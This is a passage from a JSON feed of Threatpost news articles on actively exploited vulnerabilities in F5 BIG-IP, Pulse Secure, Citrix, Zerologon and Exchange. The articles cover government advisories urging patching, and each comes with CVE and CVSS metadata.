engineering to snare victims, have been [email accounts](<https://threatpost.com/iran-linked-hackers-target-trump-2020-campaign-microsoft-says/148931/>) tied to the Trump 2020 re-election campaign and [public figures and human-rights activists](<https://threatpost.com/charming-kitten-uses-fake-interview-requests-to-target-public-figures/152628/>), among others.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Register today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-09-01T13:35:19", "type": "threatpost", "title": "Pioneer Kitten APT Sells Corporate Network Access", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902"], "modified": "2020-09-01T13:35:19", "id": "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "href": "https://threatpost.com/pioneer-kitten-apt-sells-corporate-network-access/158833/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:17:15", "description": "Security experts are urging companies to deploy an urgent patch for a critical vulnerability in F5 Networks\u2019 networking devices, which is being actively exploited by attackers to scrape credentials, launch malware and more.\n\nLast week, F5 Networks issued urgent patches for the critical remote code-execution flaw ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), which has a CVSS score of 10 out of 10. The flaw exists in the configuration interface of the company\u2019s BIG-IP app delivery controllers, which are used for various networking functions, including app-security management and load-balancing. Despite a patch being available, Shodan [shows](<https://twitter.com/GossiTheDog/status/1279005317821497344/photo/1>) almost 8,500 vulnerable devices are still available on the internet.\n\nNot long after the flaw was disclosed, public exploits [were made](<https://twitter.com/wugeej/status/1280008779359125504?s=20>) available for it, leading to mass scanning for [vulnerable devices ](<https://twitter.com/bad_packets/status/1279884302990237696?s=20>)by attackers and ultimately active exploits. Researchers warn that they\u2019ve seen attackers targeting the flaw over the weekend for various malicious activities, including launching [Mirai variant DvrHelper](<https://threatpost.com/new-mirai-variant-mukashi-targets-zyxel-nas-devices/153982/>), deploying cryptocurrency mining malware and [scraping credentials](<https://twitter.com/GossiTheDog/status/1279856862888898568>) \u201cin an automated fashion.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nRich Warren, principal security consultant for NCC Group, [said Monday on Twitter](<https://twitter.com/buffaloverflow/status/1279384540847489024>) that \u201cas of this morning we are seeing an uptick in RCE attempts against our honeypots, using a combination of either the public Metasploit module, or similar via Python.\u201d\n\n> Ok, we are seeing active exploitation of CVE-2020-5902\n> \n> Patch it today\n> \n> \u2014 Rich Warren (@buffaloverflow) [July 4, 2020](<https://twitter.com/buffaloverflow/status/1279384540847489024?ref_src=twsrc%5Etfw>)\n\nThe exploit of the flaw is trivial: Mikhail Klyuchnikov with Positive Technologies, [who originally discovered the flaw](<https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/>), said that in order to exploit the vulnerability, an unauthenticated attacker would only need to send a specifically crafted HTTP request to the server hosting the Traffic Management User Interface (TMUI) utility for BIG-IP configuration.\n\n\u201cBy exploiting this vulnerability, a remote attacker with access to the BIG-IP configuration utility could, without authorization, perform remote code execution (RCE1),\u201d Klyuchnikov said. \u201cThe attacker can create or delete files, disable services, intercept information, run arbitrary system commands and Java code, completely compromise the system, and pursue further targets, such as the internal network.\u201d\n\n[Vulnerable versions of BIG-IP (](<https://support.f5.com/csp/article/K52145254>)11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) should be updated to the corresponding fixed versions (11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4), he said.\n\nAs more active exploits are detected in the wild, [F5 Networks](<https://twitter.com/F5Networks/status/1279022116868960257>), the [U.S. Cyber Command](<https://twitter.com/CNMF_CyberAlert/status/1279151966178902016>) and [Chris Krebs](<https://twitter.com/CISAKrebs/status/1279939623062581251>), director at the U.S. Cybersecurity and Infrastructure Security Agency (CISA), have all urged administrators to implement the offered fixes as soon as possible.\n\nAnother flaw was also fixed last week in BIG-IP that could allow an authenticated attacker to launch cross-site scripting attacks. The flaw ([CVE-2020-5903](<https://support.f5.com/csp/article/K43638305>)) allows attackers to run malicious JavaScript code as a logged-in user.\n\nF5 Networks previously [dealt with security issues](<https://threatpost.com/authentication-bypass-bug-enterprise-vpns/143781/>) in 2019 when its VPN app (as well as ones built by Cisco, Palo Alto Networks and Pulse Secure) was discovered to improperly store authentication tokens and session cookies without encryption on a user\u2019s computer.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-06T19:06:20", "type": "threatpost", "title": "Admins Urged to Patch Critical F5 Flaw Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-06T19:06:20", "id": "THREATPOST:312E32AA4DC31CFD90D946BC7E36088B", "href": "https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-13T16:45:38", "description": "U.S. government officials have warned that advanced persistent threat actors (APTs) are now leveraging Microsoft\u2019s severe privilege-escalation flaw, dubbed \u201cZerologon,\u201d to target elections support systems.\n\nDays after [Microsoft sounded the alarm that an Iranian nation-state actor](<https://threatpost.com/microsoft-zerologon-attack-iranian-actors/159874/>) was actively exploiting the flaw ([CVE-2020-1472](<https://www.tenable.com/cve/CVE-2020-1472>)), the Cybersecurity Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) published a joint advisory warning of further attacks.\n\nThe advisory details how attackers are chaining together various vulnerabilities and exploits \u2013 including using VPN vulnerabilities to gain initial access and then Zerologon as a post-exploitation method \u2013 to compromise government networks.\n\n[](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\n\u201cThis recent malicious activity has often, but not exclusively, been directed at federal and state, local, tribal and territorial (SLTT) government networks,\u201d according [to the security advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>). \u201cAlthough it does not appear these targets are being selected because of their proximity to elections information, there may be some risk to elections information housed on government networks.\u201d\n\nWith the [U.S. November presidential elections](<https://threatpost.com/2020-election-secure-vote-tallies-problem/158533/>) around the corner \u2013 and cybercriminal activity subsequently ramping up to target [election infrastructure](<https://threatpost.com/black-hat-usa-2020-preview-election-security-covid-disinformation-and-more/157875/>) and [presidential campaigns](<https://threatpost.com/microsoft-cyberattacks-trump-biden-election-campaigns/159143/>) \u2013 election security is top of mind. While the CISA and FBI\u2019s advisory did not detail what type of elections systems were targeted, it did note that there is no evidence to support that the \u201cintegrity of elections data has been compromised.\u201d\n\nMicrosoft released a patch for the Zerologon vulnerability as part of its [August 11, 2020 Patch Tuesday security updates](<https://threatpost.com/microsoft-out-of-band-security-update-windows-remote-access-flaws/158511/>). Exploiting the bug allows an unauthenticated attacker, with network access to a domain controller, to completely compromise all Active Directory identity services, according to Microsoft.\n\nDespite a patch being issued, many companies have not yet applied the patches to their systems \u2013 and cybercriminals are taking advantage of that in a recent slew of government-targeted attacks.\n\nThe CISA and FBI warned that various APT actors are commonly using [a Fortinet vulnerability](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) to gain initial access to companies. That flaw (CVE-2018-13379) is a path-traversal glitch in Fortinet\u2019s FortiOS Secure Socket Layer (SSL) virtual private network (VPN) solution. While the flaw was patched in April 2019, exploitation details were publicized in August 2019, opening the door for attackers to exploit the error.\n\nOther initial vulnerabilities being targeted in the attacks include ones in Citrix NetScaler ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)), MobileIron ([CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)), Pulse Secure ([CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)), Palo Alto Networks ([CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>)) and F5 BIG-IP ([CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)).\n\nAfter exploiting an initial flaw, attackers are then leveraging the Zerologon flaw to escalate privileges, researchers said. They then use legitimate credentials to log in via VPN or remote-access services, in order to maintain persistence.\n\n\u201cThe actors are leveraging CVE-2020-1472 in Windows Netlogon to escalate privileges and obtain access to Windows AD servers,\u201d they said. \u201cActors are also leveraging the opensource tools such as Mimikatz and the CrackMapExec tool to obtain valid account credentials from AD servers.\u201d\n\nThe advisory comes as exploitation attempts against Zerologon spike, with Microsoft recently warned of exploits by an [advanced persistent threat](<https://threatpost.com/iranian-apt-targets-govs-with-new-malware/153162/>) (APT) actor, which the company calls MERCURY (also known as MuddyWater, Static Kitten and Seedworm). [Cisco Talos researchers also recently warned of](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>) a spike in exploitation attempts against Zerologon.\n\n[Earlier in September, the stakes got higher](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>) for risks tied to the bug when four public proof-of-concept exploits for the flaw were released on** **[Github.](<https://github.com/dirkjanm/CVE-2020-1472>) This spurred the Secretary of Homeland Security [to issue a rare emergency directive](<https://threatpost.com/dire-patch-warning-zerologon/159404/>), ordering federal agencies to patch their Windows Servers against the flaw by Sept. 2.\n\nCISA and the FBI stressed that organizations should ensure their systems are patched, and adopt an \u201cassume breach\u201d mentality. Satnam Narang, staff research engineer with Tenable, agreed, saying that \u201cit seems clear that Zerologon is becoming one of the most critical vulnerabilities of 2020.\u201d\n\n\u201cPatches are available for all of the vulnerabilities referenced in the joint cybersecurity advisory from CISA and the FBI,\u201d said Narang [in a Monday analysis](<https://www.tenable.com/blog/cve-2020-1472-advanced-persistent-threat-actors-use-zerologon-vulnerability-in-exploit-chain>). \u201cMost of the vulnerabilities had patches available for them following their disclosure, with the exception of CVE-2019-19781, which received patches a month after it was originally disclosed.\u201d\n\n** [On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n", "cvss3": {}, "published": "2020-10-13T16:39:01", "type": "threatpost", "title": "Election Systems Under Attack via Microsoft Zerologon Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-2021", "CVE-2020-5902"], "modified": "2020-10-13T16:39:01", "id": "THREATPOST:71C45E867DCD99278A38088B59938B48", "href": "https://threatpost.com/election-systems-attack-microsoft-zerologon/160021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-11T14:39:21", "description": "F5 Networks is warning users to patch four critical remote command execution (RCE) flaws in its BIG-IP and BIG-IQ enterprise networking infrastructure. If exploited, the flaws could allow attackers to take full control over a vulnerable system.\n\nThe company released an advisory, Wednesday, on seven bugs in total, with two others rated as high risk and one rated as medium risk, respectively. \u201cWe strongly encourage all customers to update their BIG-IP and BIG-IQ systems to a fixed version as soon as possible,\u201d the company [advised](<https://www.f5.com/services/support/March2021_Vulnerabilities>) on its website.\n\nThe scenario is particularly urgent as F5 provides enterprise networking to some of the largest tech companies in the world, including Facebook, Microsoft and Oracle, as well as to a trove of Fortune 500 companies, including some of the world\u2019s biggest financial institutions and ISPs.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe U.S. Cybersecurity and Infrastructure Agency (CISA) also [urged](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/f5-security-advisory-rce-vulnerabilities-big-ip-big-iq>) companies using BIG-IP and BIG-IQ to fix two of the critical vulnerabilities, which are being tracked as [CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>) and [CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>).\n\nThe former, with a CVSS rating of 9.8, is an unauthenticated remote command execution vulnerability in the iControl REST interface, according to a [detailed breakdown](<https://support.f5.com/csp/article/K02566623>) of the bugs in F5\u2019s Knowledge Center. The latter, with a CVSS rating of 9.9, affects the infrastructure\u2019s Traffic Management User Interface (TMUI), also referred to as the Configuration utility. When running in Appliance mode, the TMUI has an authenticated RCE vulnerability in undisclosed pages, according to F5.\n\nThe two other critically rated vulnerabilities are being tracked as [CVE-2021-22991](<https://support.f5.com/csp/article/K56715231>) and [CVE-2021-22992](<https://support.f5.com/csp/article/K52510511>). The first, with a CVSS score of 9.0, is a buffer overflow vulnerability that can be triggered when \u201cundisclosed requests to a virtual server may be incorrectly handled by the Traffic Management Microkernel (TMM) URI normalization,\u201d according to F5. This can result in a denial-of-service (DoS) attack, that, in some situations, \u201cmay theoretically allow bypass of URL based access control or remote code execution (RCE),\u201d the company warned.\n\nCVE-2021-22992 is also a buffer overflow bug with a CVSS rating of 9. This flaw can be triggered by \u201ca malicious HTTP response to an Advanced WAF/BIG-IP ASM virtual server with Login Page configured in its policy,\u201d according to F5. It also may allow for RCE and \u201ccomplete system compromise\u201d in some situations, the company warned.\n\nThe other three non-critical bugs being patched in F5\u2019s update this week are [CVE-2021-22988](<https://support.f5.com/csp/article/K70031188>), [CVE-2021-22989](<https://support.f5.com/csp/article/K56142644>) and [CVE-2021-22990](<https://support.f5.com/csp/article/K45056101>).\n\nCVE-2021-22988, with a CVSS score of 8.8, is an authenticated RCE that also affects TMUI. CVE-2021-22989, with a CVSS rating of 8.0, is another authenticated RCE that also affects TMUI in Appliance mode, this time when Advanced WAF or BIG-IP ASM are provisioned. And CVE-2021-2290, with a CVSS score of 6.6, is a similar but less dangerous vulnerability that exists in the same scenario, according to F5.\n\nF5 is no stranger to critical bugs in its enterprise networking products. In July, the vendor and other security experts\u2014including U.S. Cyber Command\u2014urged companies to deploy an urgent patch for a critical RCE vulnerability in BIG-IP\u2019s app delivery controllers that was being actively exploited by attackers to scrape credentials, launch malware and more. That bug, ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), had a CVSS rating of 10 out of 10. Moreover, a delay in patching at the time left systems [exposed to the flaw](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>) for weeks after F5 released the fix.\n\n_**Check out our free **_[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:**_\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-11T14:21:50", "type": "threatpost", "title": "F5, CISA Warn of Critical BIG-IP and BIG-IQ RCE Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5902", "CVE-2021-2290", "CVE-2021-22986", "CVE-2021-22987", "CVE-2021-22988", "CVE-2021-22989", "CVE-2021-22990", "CVE-2021-22991", "CVE-2021-22992"], "modified": "2021-03-11T14:21:50", "id": "THREATPOST:1D03F5885684829E899CEE4F63F5AC27", "href": "https://threatpost.com/f5-cisa-critical-rce-bugs/164679/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T15:51:14", "description": "Chinese state-sponsored cyberattackers are actively compromising U.S. targets using a raft of known security vulnerabilities \u2013 with a Pulse VPN flaw claiming the dubious title of \u201cmost-favored bug\u201d for these groups.\n\nThat\u2019s according to the National Security Agency (NSA), which released a \u201ctop 25\u201d list of the exploits that are used the most by China-linked advanced persistent threats (APT), which include the likes of [Cactus Pete](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>), [TA413,](<https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/>) [Vicious Panda](<https://threatpost.com/coronavirus-apt-attack-malware/153697/>) and [Winniti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>).\n\nThe Feds [warned in September](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) that Chinese threat actors had successfully compromised several government and private sector entities in recent months; the NSA is now driving the point home about the need to patch amid this flurry of heightened activity.[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany of these vulnerabilities can be used to gain initial access to victim networks by exploiting products that are directly accessible from the internet,\u201d warned the NSA, in its Tuesday [advisory](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2387347/nsa-warns-chinese-state-sponsored-malicious-cyber-actors-exploiting-25-cves/>). \u201cOnce a cyber-actor has established a presence on a network from one of these remote exploitation vulnerabilities, they can use other vulnerabilities to further exploit the network from the inside.\u201d\n\nAPTs \u2013 Chinese and otherwise \u2013 have ramped up their cyberespionage efforts in the wake of the pandemic as well as in the leadup to the U.S. elections next month. But Chlo\u00e9 Messdaghi, vice president of strategy at Point3 Security, noted that these vulnerabilities contribute to an ongoing swell of attacks.\n\n\u201cWe definitely saw an increase in this situation last year and it\u2019s ongoing,\u201d she said. \u201cThey\u2019re trying to collect intellectual property data. Chinese attackers could be nation-state, could be a company or group of companies, or just a group of threat actors or an individual trying to get proprietary information to utilize and build competitive companies\u2026in other words, to steal and use for their own gain.\u201d\n\n## **Pulse Secure, BlueKeep, Zerologon and More**\n\nPlenty of well-known and infamous bugs made the NSA\u2019s Top 25 cut. For instance, a notorious Pulse Secure VPN bug (CVE-2019-11510) is the first flaw on the list.\n\nIt\u2019s an [arbitrary file-reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers. In April of this year, the Department of Homeland Security\u2019s Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) attackers are actively using the issue to steal passwords to infiltrate corporate networks. And in fact, this is the bug at the heart of the [Travelex ransomware fiasco](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) that hit in January.\n\nPulse Secure issued a patch in April 2019, but many companies impacted by the flaw still haven\u2019t applied it, CISA warned.\n\nAnother biggie for foreign adversaries is a critical flaw in F5 BIG-IP 8 proxy/load balancer devices ([CVE-2020-5902](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>)). This remote code-execution (RCE) bug exists in the Traffic Management User Interface (TMUI) of the device that\u2019s used for configuration. It allows complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serving as a hop-point into other areas of the network.\n\nAt the end of June, F5 issued urgent patches the bug, which has a CVSS severity score of 10 out of 10 \u201cdue to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d researchers said at the time. Thousands of devices were shown to be vulnerable in a Shodan search in July.\n\nThe NSA also flagged several vulnerabilities in Citrix as being Chinese faves, including CVE-2019-19781, which was revealed last holiday season. The bug exists in the Citrix Application Delivery Controller (ADC) and Gateway, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web. An exploit can lead to RCE without credentials.\n\nWhen it was originally disclosed in December, the vulnerability did not have a patch, and Citrix had to [scramble to push fixes out](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \u2013 but not before public proof-of-concept (PoC) exploit code emerged, along with active exploitations and mass scanning activity for the vulnerable Citrix products.\n\nOther Citrix bugs in the list include CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196.\n\nMeanwhile, Microsoft bugs are well-represented, including the [BlueKeep RCE bug](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) in Remote Desktop Services (RDP), which is still under active attack a year after disclosure. The bug tracked as CVE-2019-0708 can be exploited by an unauthenticated attacker connecting to the target system using RDP, to send specially crafted requests and execute code. The issue with BlueKeep is that researchers believe it to be wormable, which could lead to a WannaCry-level disaster, they have said.\n\nAnother bug-with-a-name on the list is [Zerologon](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>), the privilege-escalation vulnerability that allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services. It was patched in August, but many organizations remain vulnerable, and the DHS recently [issued a dire warning](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) on the bug amid a tsunami of attacks.\n\nThe very first bug ever reported to Microsoft by the NSA, CVE-2020-0601, is also being favored by Chinese actors. This spoofing vulnerability, [patched in January,](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.\n\nTwo proof-of-concept (PoC) exploits were publicly released just a week after Microsoft\u2019s January Patch Tuesday security bulletin addressed the flaw.\n\nThen there\u2019s a high-profile Microsoft Exchange validation key RCE bug ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)), which stems from the server failing to properly create unique keys at install time.\n\nIt was fixed as part of Microsoft\u2019s [February Patch 